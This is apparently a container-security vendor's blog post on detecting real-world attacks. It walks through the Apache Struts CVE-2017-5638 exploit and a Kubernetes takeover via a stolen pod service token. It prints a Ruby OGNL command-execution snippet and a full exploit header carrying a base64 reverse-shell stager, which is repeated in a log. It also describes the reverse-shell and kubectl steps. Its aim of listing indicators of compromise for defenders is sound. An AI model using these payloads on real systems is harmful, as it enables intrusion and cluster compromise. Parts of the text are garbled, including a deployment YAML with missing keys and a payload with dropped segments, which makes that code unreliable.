Breaking Bad: Detecting real world container exploits

There has never been a better time to be a DevOps engineer. Compared to traditional web stacks, containerization has dramatically streamlined the task of deploying web services such as databases, key/value stores, and servers. Furthermore, container orchestration tools, like Google’s Kubernetes and Docker Swarm, enable organizations to automate the deployment and management of these containerized applications. But the tools that make life easier and more efficient for engineers can also be a gift to an attacker.

Regardless of the initial exploitation vector, an attacker’s first objective is often to gain host-level access to a target system. With that access, an attacker can leverage the system for a variety of malicious purposes – to exfiltrate data, to maintain a point of presence, to move to higher-value assets in a network, etc. As containerized applications become the new standard for modern web development, DevOps and security teams still find themselves in a precarious position: attackers are creative, and where there’s a will, there’s a way.

In this blog, we demonstrate exploitation techniques that can be used to measure the efficacy of a container security product. We explore the exploitation of a vulnerability in a widely-used web server, and show how containerization of this application minimizes the attack surface. Despite mitigation of host-level access via containerization, we also demonstrate how a misconfigured container orchestrater can be used to give an attacker the “keys to the kingdom” and enable full control of a production container cluster. At each stage, we outline the indicators of compromise (IOCs) that can be used to detect these attacks and show that security must be embedded at all levels of the software development lifecycle – including runtime detection.

The Vulnerable Application

Apache Struts

Apache Struts is a popular Java framework for building web applications because it is built on the well known JVM platform and supports a wide variety of useful plugins and extensions. In March 2017, a vulnerability was disclosed in the Apache Struts parser that allowed an attacker to remotely execute code on a victim server. Many security researchers have explored and discussed this vulnerability, partly because it was a particularly bad bug in a mainstream framework, but also because it caused colossal data loss at Equifax. Struts is a popular web application to run in a containerized environment and parser code is a common location to find vulnerabilities.

Apache Struts application version 2.3.x before 2.3.32 and 2.5.x before had an issue with Jakarta MultiParser’s exception handling code. If an exception is generated during Content-Type parsing, it tries to include the invalid data as part of the error message. But, instead of displaying the error message, it parses and executes the Object Graph Navigation Library (OGNL) expression.

Here’s the relevant code that contains the vulnerability and the fix:

The bug is in findText, which–according to the documentation – finds a localized text message for a given key (i.e. aTextName), but evaluates both the key and the message.

public static String findText(Class aClass,
String aTextName,
Locale locale,
String defaultMessage,
Object[] args)

If a message is found, anything within ${…} will be treated as an OGNL expression and evaluated as such. An attacker can exploit this vulnerability by sending crafted HTTP requests with a malicious payload as shown below.

def **execute_command**(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

    # You can add headers to the server's response for debugging with this:
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('decoded',#cmd)).|
    ognl << %q|(#os=@java.lang.System@getProperty('')).|
    ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
    ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start())|
    send_struts_request(ognl, extra_header: cmd)


Figure 1: CVE-2017-5638 exploit through Content-Type header

As shown in figure 2 below, when we examine the HTTP request using Wireshark, the content type contains the payload that will ultimately execute a command on the victim’s machine.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-RnXx')).('KLny','.exe')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#fos=new sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()).(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete())},application/x-www-form-urlencoded X-Rnxx:f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA9wAAAAAAAAB2AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4W2oKQVlWUGopWJlqAl9qAV4PBUiFwHhESJdIuQIAEVwNTql3UUiJ5moQWmoqWA8FSIXAeRtJ/8l0ImojWGoAagVIiedIMfYPBUiFwHm36wxZXloPBUiFwHgC/+ZqPFhqAV8PBQ==\]

Figure 2: Apache Struts exploit payload

There are two known vulnerabilities for Apache Struts. One is the exception handling that is shown above; the other one is the unsafe deserialization of user data by the XStream XML REST plugin.

Not so secure – even in a container

A benefit to running applications in containers is that they allow us to package a specific version of software and run it anywhere. Container runtimes are built with isolation in mind. Security is improved by placing each container in a process, user and network namespace. These benefits do not, however, prevent attackers from exploiting the vulnerable application running inside of a container.

For example, applications running inside a container may be able to mount sensitive directories from the host. We show how access to sensitive directories can be used for exploitation in the next section. Furthermore, without user namespaces enabled in the container runtime engine, applications will be given root privileges unless care is taken to drop privileges and run them as a non-root user. In other words, if attackers manage to exploit a vulnerability, they can modify the host filesystem, or execute arbitrary commands if the container is misconfigured without following best practices. Practical tips for securing containerized applications include enabling AppArmor and Seccomp, as well as minimizing namespace leakage. We’ve outlined some of these tips in a previous blog.

How to Launch an Exploit Against Apache Struts

Exploit setup

We deployed a web application with a vulnerable version of Apache Struts 2 (packaged as Docker image piesecurity/apache-struts2-cve-2017-5638) on a Kubernetes cluster. The deployment/service YAML file is shown in figure 3. The application can be launched using _kubectl create -f <yaml file name>_. This brings up the web application serving on port 8080.

apiVersion: v1
kind: Service
  name: struts2
    service: struts2
    - port: 8080
    service: struts2
    tier: frontend
  type: LoadBalancer
apiVersion: extensions/v1beta1
kind: Deployment
  name: struts2
    service: struts2
    app: struts2
  replicas: 1
        service: struts2
        tier: frontend
      - image: piesecurity/apache-struts2-cve-2017-5638
        name: struts2
        - containerPort: 8080
          name: web    

Figure 3: Apache Struts Kubernetes Deployment YAML

Figure 4: Web application using a vulnerable version of Apache Struts

To exploit the vulnerability, we used a Metasploit module called _multi/http/struts2_content_typeognl. The module sends a crafted HTTP payload to exploit the vulnerability. We also established a reverse shell back to our attack host using a staged reverse TCP shell payload.

Exploit session

Here is a Metasploit session showing the exploit.

How to Detect the Attack

Application logs

2018-01-14 23:43:40,618  WARN (org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest:60) - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-RCgj')).('oBKX','.exe')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#fos=new sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()).(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(
at org.apache.commons.fileupload.FileUploadBase.parseRequest(
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
at org.apache.catalina.core.ApplicationFilterChain.doFilter(
at org.apache.catalina.core.StandardWrapperValve.invoke(
at org.apache.catalina.core.StandardContextValve.invoke(
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(
at org.apache.catalina.core.StandardHostValve.invoke(
at org.apache.catalina.valves.ErrorReportValve.invoke(
at org.apache.catalina.valves.AccessLogValve.invoke(
at org.apache.catalina.core.StandardEngineValve.invoke(
at org.apache.catalina.connector.CoyoteAdapter.service(
at org.apache.coyote.http11.AbstractHttp11Processor.process(
at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(
at java.util.concurrent.ThreadPoolExecutor.runWorker(
at java.util.concurrent.ThreadPoolExecutor$
at org.apache.tomcat.util.threads.TaskThread$

Figure 5: Apache Struts container logs showing the exception

Indicators of Compromise (IOCs)

  • Network
    This exploit works by sending a crafted HTTP Content-Type header. The Content-Type typically contains the code to execute on the remote vulnerable application.

  • File System
    The exploit payload could vary from a simple shell command to a binary written to the file system and then executed.

  • Process
    If the payload executes a binary, it will spawn a process. We should see unusual processes executing in ps aux or top output.

  • Network
    There could be attempts to open a reverse shell which typically opens a port never used before.

  • Docker
    Docker container logs could show warnings/ errors when exceptions are encountered as shown in figure 5.

Exploiting Kubernetes to Break out of the Container

Once an attacker gains a foothold on the victim machine, there are many ways he can target the orchestrator in a Kubernetes cluster by obtaining the API secret token, as described by Google’s Greg Castle in his excellent talk.

Following our Apache Struts exploit, we can establish a reverse shell in the victim container. In Kubernetes, every pod has access to API server service token key via the /var/run/secrets/ path. Once we have the service token, we can make any API request on the victim’s Kubernetes cluster. Without RBAC configured on the cluster, this is easy to do.

Here’s a session showing the cluster compromise:

Figure 6: Kubernetes cluster being compromised

For this demo, we uploaded the kubectl binary to the victim’s pod. Once we have the kubectl binary and the service token, we could run any command on the victim’s kubernetes cluster.

Indicators of Compromise (IOCs)

  • File System
    Reading of the Kubernetes service token by an unknown process. Writing unknown files to the file system. Changing permissions on a file.

  • Process
    Launching a shell/unknown process and using the kubectl binary inside the pod.

  • Orchestrator
    Launching a unknown service or terminating services.

Automating Detection

Figure 7: Timeline of events during the attack

In order to detect these anomalies, we need to correlate network traffic, file system, process activity and orchestrator events. As one can imagine, these require analyzing system calls and orchestrator events at a large scale. Analyzing and correlating system calls for a specific service is a complex problem. It involves looking and filtering millions of system calls, orchestrator events, host signals etc. Not to mention the problem of correlating them. There are solutions that involve looking at only network traffic or system activity. However, very few solutions look at all these signals and correlate them in a meaningful manner.

StackRox Detected Events and Alerts

StackRox detects IOCs corresponding to process, file system, network and Docker/Kubernetes signals without requiring the user to configure complex rules. It leverages algorithmic detection to constantly monitor application behavior and report anomalous activity. It also features a powerful policy engine that stitches together event bread crumbs into chronological attack sequences, sparing security professionals many man-hours of crafting rules or trying understand intricate, low-level details about the system.

A number of events that correspond to the attack are detected by StackRox. An analyst can get a sense of the entire timeline of the attack by looking at the events from a particular container. Some of the events that were detected when we tried the exploit were as follows:

  • Container was launched without any seccomp profile. This refers to the container with the Apache Struts application.
  • When the HTTP request with the payload is processed, there is a Code injection attempt via HTTP Content-type.
  • Once the payload is executed, we see a process called “/usr/local/tomcat/temp/sRcz596082110440608704.exe” being launched by user “root”, a condition which had never been seen before.
  • A network connection on port 4444 is detected being contacted on victim’s machine. This was the port we set in Metasploit for establishing reverse shell.
  • The payload then invokes the shell process - /bin/sh. At this point, the attacker has a shell on the victim’s machine, and the session is being sent back on port 4444 back to attacker’s machine.
  • After the reverse shell session is established, we see all the commands being executed by the attacker, e.g. whoami, id\*,\* and cat /etc/passwd commands. These are surfaced as Anomalous Process Launch.

We’ve seen how StackRox detects all the events related to this attack out of the box. It also provides a robust policy engine that combines these events and summarizes them in a meaningful way. Furthermore, once an exploit pattern is recognized by an analyst, he can create a custom policy to detect future occurrences of such attacks.

Creating a policy in StackRox is simple and intuitive. StackRox ships with policies built around known malicious patterns of activity.

Analysts can glean concise information from alerts. They can drill down to investigate what events triggered those alerts.

The alert summary clearly shows which container and service were affected. It also shows the events that led to this alert. Analysts can drill down into individual events by clicking “investigate.”


Measuring the efficacy of a security product is hard. It involves testing the product against real vulnerabilities. Detecting the right security events with high confidence and automating these to make sense is a huge factor in making the life of a security analyst easy.

Many security vendors provide a rule-based detection solution. Users are forced to create rules or signatures to detect compromises. But rules are prone to error and are not robust, not to mention the human effort it takes to understand exploits and come up with rules. StackRox offers algorithmic based automatic anomaly detection without users having to write a ton of rules. For some static based detection, it also offers users the ability to configure rules. It offers a hybrid strategy that works well in many attack scenarios.